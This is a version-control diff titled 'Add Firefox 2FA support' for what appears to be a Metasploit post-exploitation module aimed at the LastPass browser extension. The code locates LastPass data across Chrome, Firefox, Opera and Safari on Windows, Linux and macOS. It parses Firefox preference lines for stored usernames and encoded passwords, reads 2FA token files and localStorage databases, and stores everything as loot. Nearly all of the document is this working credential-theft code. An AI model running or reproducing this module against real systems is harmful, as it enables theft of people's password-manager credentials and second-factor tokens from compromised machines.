Add Firefox 2FA support
parent
5b0647a1f2
commit
0e5e8032ad
|
@ -49,22 +49,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
print_status "Extracting 2FA tokens"
|
print_status "Extracting 2FA tokens"
|
||||||
localstorage_map = build_localstorage_map
|
localstorage_map = build_localstorage_map
|
||||||
if localstorage_map.empty?
|
lastpass_data = check_localstorage_for_2FA_token(localstorage_map, lastpass_data) unless localstorage_map.empty?
|
||||||
print_status "No LastPass localstorage found"
|
|
||||||
else
|
|
||||||
twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map)
|
|
||||||
lastpass_data.each_pair do |account, browser_map|
|
|
||||||
browser_map.each_pair do |browser, username_map|
|
|
||||||
username_map.each_pair do |user, data|
|
|
||||||
if twoFA_token_map[account][browser]
|
|
||||||
lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser]
|
|
||||||
else
|
|
||||||
lastpass_data[account][browser][user] << "NOT_FOUND"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
print_lastpass_data(lastpass_data)
|
print_lastpass_data(lastpass_data)
|
||||||
end
|
end
|
||||||
|
@ -92,12 +77,12 @@ class Metasploit3 < Msf::Post
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||||
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
||||||
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
|
||||||
}
|
}
|
||||||
when /osx/
|
when /osx/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||||
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
|
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
|
||||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
|
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
|
||||||
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
||||||
}
|
}
|
||||||
|
@ -216,12 +201,22 @@ class Metasploit3 < Msf::Post
|
||||||
def firefox_credentials(loot_path)
|
def firefox_credentials(loot_path)
|
||||||
credentials = []
|
credentials = []
|
||||||
File.readlines(loot_path).each do |line|
|
File.readlines(loot_path).each do |line|
|
||||||
if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
|
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
|
||||||
|
usernames = encoded_users.split("|")
|
||||||
|
usernames.each do |username|
|
||||||
|
credentials << [username, "NOT_FOUND"]
|
||||||
|
end
|
||||||
|
elsif /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
|
||||||
creds_per_user = encoded_creds.split("|")
|
creds_per_user = encoded_creds.split("|")
|
||||||
creds_per_user.each do |user_creds|
|
creds_per_user.each do |user_creds|
|
||||||
parts = user_creds.split('=')
|
parts = user_creds.split('=')
|
||||||
# Any valid credentials present?
|
for creds in credentials # Check if we have the username already
|
||||||
credentials << parts if parts.size > 1
|
if creds[0] == parts[0]
|
||||||
|
creds[1] = parts[1] # Add the password to the existing username
|
||||||
|
else
|
||||||
|
credentials << parts if parts.size > 1 # Add full credentials
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
next
|
next
|
||||||
|
@ -290,7 +285,7 @@ class Metasploit3 < Msf::Post
|
||||||
ffcreds = firefox_credentials(loot_path)
|
ffcreds = firefox_credentials(loot_path)
|
||||||
unless ffcreds.blank?
|
unless ffcreds.blank?
|
||||||
ffcreds.each do |creds|
|
ffcreds.each do |creds|
|
||||||
credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]}
|
credentials[account][browser][URI.unescape(creds[0])] = [URI.unescape(creds[1])]
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
credentials[account].delete("Firefox")
|
credentials[account].delete("Firefox")
|
||||||
|
@ -345,20 +340,20 @@ class Metasploit3 < Msf::Post
|
||||||
when /win/
|
when /win/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
|
'Firefox' => "#{user_profile['LocalAppData']}\\LastPass",
|
||||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||||
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||||
}
|
}
|
||||||
when /unix|linux/
|
when /unix|linux/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
#'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
|
||||||
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||||
}
|
}
|
||||||
when /osx/
|
when /osx/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
#'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
|
'Firefox' => "#{user_profile['LocalAppData']}/LastPass",
|
||||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||||
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||||
}
|
}
|
||||||
|
@ -377,23 +372,25 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
#Extracts the 2FA token from localStorage
|
#Extracts the 2FA token from localStorage
|
||||||
def check_localstorage_for_2FA_token(localstorage_map)
|
def check_localstorage_for_2FA_token(localstorage_map, lastpass_data)
|
||||||
localstorage_map.each_pair do |account, browser_map|
|
localstorage_map.each_pair do |account, browser_map|
|
||||||
browser_map.each_pair do |browser, path|
|
browser_map.each_pair do |browser, path|
|
||||||
if browser == 'Firefox'
|
if browser == 'Firefox'
|
||||||
data = read_file(path)
|
lastpass_data[account][browser].each_pair do |username, data|
|
||||||
loot_path = store_loot(
|
path = path + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
|
||||||
'firefox.preferences',
|
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
||||||
'text/javascript',
|
data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content
|
||||||
session,
|
loot_path = store_loot(
|
||||||
data,
|
'firefox.preferences',
|
||||||
nil,
|
'text/binary',
|
||||||
"Firefox preferences file #{path}"
|
session,
|
||||||
)
|
data,
|
||||||
|
nil,
|
||||||
firefox_credentials(loot_path).each do |creds|
|
"Firefox 2FA token file #{path}"
|
||||||
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
|
)
|
||||||
|
lastpass_data[account][browser][username] << data
|
||||||
end
|
end
|
||||||
|
|
||||||
else # Chrome, Safari and Opera
|
else # Chrome, Safari and Opera
|
||||||
data = read_file(path)
|
data = read_file(path)
|
||||||
loot_path = store_loot(
|
loot_path = store_loot(
|
||||||
|
@ -411,12 +408,15 @@ class Metasploit3 < Msf::Post
|
||||||
"SELECT hex(value) FROM ItemTable " \
|
"SELECT hex(value) FROM ItemTable " \
|
||||||
"WHERE key = 'lp.uid';"
|
"WHERE key = 'lp.uid';"
|
||||||
).flatten
|
).flatten
|
||||||
token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*')
|
|
||||||
|
lastpass_data[account][browser].each_pair do |username, data|
|
||||||
|
token.blank? ? lastpass_data[account][browser][username] << "NOT_FOUND" : lastpass_data[account][browser][username] << token.pack('H*')
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
localstorage_map
|
lastpass_data
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue